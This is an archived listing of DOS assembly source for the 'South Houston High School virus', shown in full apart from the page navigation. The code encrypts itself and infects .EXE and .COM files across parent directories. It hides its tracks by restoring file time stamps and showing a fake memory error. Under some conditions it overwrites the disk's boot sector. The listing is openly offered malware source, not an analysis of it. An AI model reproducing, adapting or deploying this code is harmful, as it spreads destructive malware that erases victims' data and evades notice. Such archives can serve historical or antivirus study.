HPAVC

home *** CD-ROM | disk | FTP | other *** search

/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / SHHS.ASM < prev next >

Wrap

Assembly Source File | 1992-02-26 | 11.1 KB | 239 lines

; Source code to South Houston High School virus ; codeseg segment assume cs:codeseg, ds:codeseg org 100h cr equ 13 lf equ 10 tab equ 9 start: call encrypt_decrypt jmp random_mutation encrypt_val db 0 infect_file: mov bx,handle ; (648C:01F2=0) push bx ; Save handle call encrypt_decrypt ; encrypt code pop bx ; Restore handle mov cx,offset eof-offset start ; Length of code mov dx,offset start ; Start of code mov ah,40h ; Write to handle BX int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx call encrypt_decrypt ; decrypt code mov al,encrypt_val ; AL= code # add al,13 ; add 13 adc al,0 ; plus carry mov encrypt_val,al ; save new value ret ; Return encrypt_decrypt: mov bx,offset encrypted ; offset of encrypted ; code in memory mov al,encrypt_val ; encryption value or al,al ; 0 ? jz skipcryptor ; Don't waste time xor_loop: xor byte ptr [bx],al ; modify byte inc bx ; next byte, please add al,bh ; adjust encryption key cmp bx,offset eof ; are we done yet? jle xor_loop ; Nope, keep goin' skipcryptor: ret ; Yep, bye bye! ; The code from here on is encrypted until run-time (except in the case of a ; first-run copy). encrypted: exe_filespec db '*.EXE',0 com_filespec db '*.COM',0 newdir db '..',0 fake_msg db 'Program too big to fit in memory',cr,lf,'$' virus_msg db cr,lf,tab,'I',39,'m sorry, Dave... but ' db 'I',39,'m afraid I can',39,'t do that!',cr,lf,cr,lf db cr,lf,tab,'Dedicated to the dudes at SHHS' db cr,lf,tab,'The BOOT SECTOR Infector ...',cr,lf,'$' random_mutation: mov si,offset fname ; point to fname mov di,offset tfname ; point to tfname mov cx,13 ; 13 chars rep movsb ; copy the string cmp byte ptr encrypt_val,0 ; encryption value je install_val ; Jump if equal mov ah,2Ch ; Get time int 21h ; Call DOS to ^ cmp dh,55 ; more than 55 seconds? jg find_extension ; Yes: don't mutate install_val: or dl,dl ; DL = 0 ? jnz skipmutation ; No need to mutate skipmutation: mov encrypt_val,dl ; save code number find_extension: mov byte ptr files_found,0 ; Haven't found any yet mov byte ptr files_infected,3 ; No more than 3 files mov byte ptr success,0 ; No successful tries find_exe: mov cx,27h ; attr: R/O,HID,SYS,ARC mov dx,offset exe_filespec ; point to '*.EXE',0 mov ah,4Eh ; Find first int 21h ; DOS Services jc find_com ; No more? Find EXE call find_healthy ; Find a healthy file find_com: mov cx,27h ; attr: R/O,HID,SYS,ARC mov dx,offset com_filespec ; point to '*.COM',0 mov ah,4Eh ; Find first match int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc chdir ; No more? CD .. call find_healthy ; Start over chdir: mov dx,offset newdir ; point to '..',0 mov ah,3Bh ; CHDIR .. int 21h ; DOS Services jnc find_exe ; Look for EXEs jmp exit_virus ; find_healthy: mov bx,80h ; points at DTA mov ax,[bx+15h] ; original attribute mov orig_attr,ax ; ^ mov ax,[bx+16h] ; original time stamp mov orig_time,ax ; ^ mov ax,[bx+18h] ; original date stamp mov orig_date,ax ; ^ mov dx,9Eh ; filename xor cx,cx ; zero out attributes mov ax,4301h ; set attribute int 21h ; DOS Services mov ax,3D02h ; Open file read&write int 21h ; DOS Services mov handle,ax ; save file handle mov bx,ax ; place ^ in BX mov cx,20 ; read in 20 chars mov dx,offset compare_buff ; Points to buffer mov ah,3Fh ; Read file int 21h ; DOS Services mov bx,offset compare_buff ; Points to buffer mov ah,encrypt_val ; Encryption value mov [bx+offset encrypt_val-100h],ah ; Fill in the blank mov si,100h ; Point to code's start mov di,offset compare_buff ; Point to buffer repe cmpsb ; Compare buff to code jne healthy ; Didn't match, jump... call close_file ; Close the file inc byte ptr files_found ; Found one! continue_search: mov ah,4Fh ; Find next int 21h ; DOS Services jnc find_healthy ; Find more no_more_found: ret ; RETurn healthy: mov bx,handle ; (648C:01F2=0) mov ah,3Eh ; Close file int 21h ; DOS Services mov ax,3D02h ; Open file read&write mov dx,9Eh ; Filename is .... int 21h ; DOS Services mov si,dx ; Point to filename mov di,offset fname ; Point to fname mov cx,13 ; Copy 13 chars rep movsb ; Copy filename mov handle,ax ; save handle call infect_file ; infect file call close_file ; close file inc byte ptr success ; Success!!! dec byte ptr files_infected ; We got one! jz exit_virus ; Jump if zero jmp short continue_search ; Continue the search close_file: mov bx,handle ; get handle mov cx,orig_time ; get original time mov dx,orig_date ; get original date mov ax,5701h ; set date/time stamp int 21h ; DOS Services mov ah,3Eh ; close file int 21h ; DOS Services mov cx,orig_attr ; get original attrib mov ax,4301h ; get/set attribute mov dx,9Eh ; point to filename int 21h ; DOS Services ret ; RETurn exit_virus: cmp byte ptr files_found,8 ; Found at least 8? jl print_fake ; No, keep low profile cmp byte ptr success,0 ; Got anything? jg print_fake ; Yep, cover it up mov ah,9 ; Print string mov dx,offset virus_msg ; Point to virus msg int 21h ; DOS Services mov ah,19h ; Get current disk int 21h ; Call DOS to ^ mov si,offset tfname ; Point to tfname mov di,offset fname ; Point to fname mov cx,13 ; Copy 13 chars rep movsb ; Copy filename mov bx,offset kbstr ; BX points to message xor dx,dx ; Start at boot sector mov cx,35 ; 35 sectors int 26h ; Absolute disk write, drive al jmp short terminate ; End of the line! print_fake: mov ah,9 ; Print string mov dx,offset fake_msg ; DX points to fake msg int 21h ; DOS Services terminate: mov ax,305h ; Set typematic rate mov bx,31Fh ; Long delay, fast reps int 16h ; Keyboard i/o call ^^ int 20h ; Terminate process kbstr: db 'Killed by: ' ;Killed by fname: db '1st run copy',0 ;13 spaces for filename ekbstr: db '$' ;Terminator for string eof: ;These variables are for temporary use only and are therefore excluded from ;encryption and writing to the disk (this saves time and space). compare_buff db 20 dup (?) files_found db ? files_infected db ? orig_time dw ? orig_date dw ? orig_attr dw ? handle dw ? success db ? tfname: db 13 dup (?) codeseg ends end start